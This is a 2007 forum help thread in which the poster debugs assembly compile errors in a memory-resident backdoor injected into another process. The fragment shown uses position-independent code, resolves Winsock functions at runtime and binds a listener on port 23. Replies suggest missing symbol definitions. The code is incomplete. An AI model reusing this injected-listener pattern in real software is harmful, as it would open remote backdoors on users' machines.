首页
社区
课程
招聘
[求助]关于插入进程中编译错误提示
发表于: 2007-1-3 20:25 3886

[求助]关于插入进程中编译错误提示

2007-1-3 20:25
3886
最近再写一个内存型的后门,不过出现如下错误:

Code.asm(144) : error A2006: undefined symbol : _socket
_invoke(8): Macro Called From

Code.asm(144): Include File

Code.asm(150) : error A2006: undefined symbol : _htons
_invoke(8): Macro Called From

Code.asm(150): Include File

其中一段报错的代码:

                call        @F
                @@:
                pop        ebx
                sub        ebx,offset @B
;********************************************************************
                invoke        [ebx+_WSAStartup],0101h,offset @wsaData
                _invoke [ebx+_socket],PF_INET,SOCK_STREAM,0
                     mov s1,eax
                     mov ax,AF_INET
                     mov @sin1.sin_family,ax
                     xor eax,eax
                     mov @sin1.sin_addr,eax
                _invoke [ebx+_htons],23
                mov @sin1.sin_port,ax
                _invoke [ebx+_bind],s1,offset @sin1,SIZEOF sockaddr_in
                    cmp eax,SOCKET_ERROR
                    jne @F
                _invoke [ebx+_WSACleanup]
                      xor eax,eax
                       ret
@@:
    _invoke [ebx+_listen],s1,1 ;开始监听

错在_invoke [ebx+_WSAStartup],0101h,offset @wsaData
  _invoke [ebx+_socket],PF_INET,SOCK_STREAM,0
反正就是调用网络函数的时候就错了...

这个是不是因为无法找到wsock32.dll导致的?但是我已经写了如下代码:

   lea    eax,[ebx + offset _szDllWsock32]
   _invoke    [ebx + _lpGetModuleHandle],eax
   mov    @hModule,eax
   lea    esi,[ebx + offset _szWSAStartup]
   lea    edi,[ebx + offset _lpWSAStartup]
   .while    TRUE
       _invoke    [ebx + _lpGetProcAddress],@hModule,esi
       mov    [edi],eax
       add    edi,4
       @@:
       lodsb
       or    al,al
       jnz    @B
       .break    .if ! byte ptr [esi+1]
   .endw

按照道理应该米问题的,不过还是出了问题 

[课程]FART 脱壳王!加量不加价!FART作者讲授!

收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 2384
活跃值: (766)
能力值: (RANK:410 )
在线值:
发帖
回帖
粉丝
2
“未定义的符号 __socket和_htons符号。你没有包含符号定义的文件吧?或者是你的_invoke宏出错等。
2007-1-4 09:25
0
雪    币: 796
活跃值: (370)
能力值: ( LV9,RANK:380 )
在线值:
发帖
回帖
粉丝
3
我好好看一下这个宏
2007-1-5 10:57
0
游客
登录 | 注册 方可回帖
返回
//